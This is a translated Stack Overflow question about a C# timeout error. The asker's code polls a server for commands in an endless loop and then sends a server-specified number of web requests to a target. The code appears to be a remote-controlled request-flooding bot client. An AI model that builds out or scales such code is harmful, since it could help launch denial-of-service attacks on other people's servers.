我有一个大问题:我需要一次发送200个对象,并避免超时。

while (true)
{

    NameValueCollection data = new NameValueCollection();
    data.Add("mode", nat);

    using (var client = new WebClient())
    {
        byte[] response = client.UploadValues(serverA, data);
        responseData = Encoding.ASCII.GetString(response);

        string[] split = Javab.Split(new[] { '!' },  StringSplitOptions.RemoveEmptyEntries);
        string command = split[0];
        string server = split[1];
        string requestCountStr = split[2];

        switch (command)
        {
            case "check":
                int requestCount = Convert.ToInt32(requestCountStr);

                for (int i = 0; i < requestCount; i++)
                {
                    Uri myUri = new Uri(server);
                    WebRequest request = WebRequest.Create(myUri);
                    request.Timeout = 200000;
                    WebResponse myWebResponse = request.GetResponse();
                }
                break;
        }
    }
}

产生错误:
Unhandled Exception: System.Net.WebException: The operation has timed out
at System.Net.HttpWebRequest.GetResponse()
at vir_fu.Program.Main(String[] args)

在我的基本代码之外,requestCount循环工作正常,但是当我将其添加到项目中时,出现此错误。我尝试设置request.Timeout = 200;,但没有帮助。

最佳答案

这就是说的话。该操作花费了太长时间才能完成。

顺便说一句,看看WebRequest.Timeout,您会看到已将超时设置为1/5秒

关于c# - System.Net.WebException : The operation has timed out,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/1215488/

10-13 03:23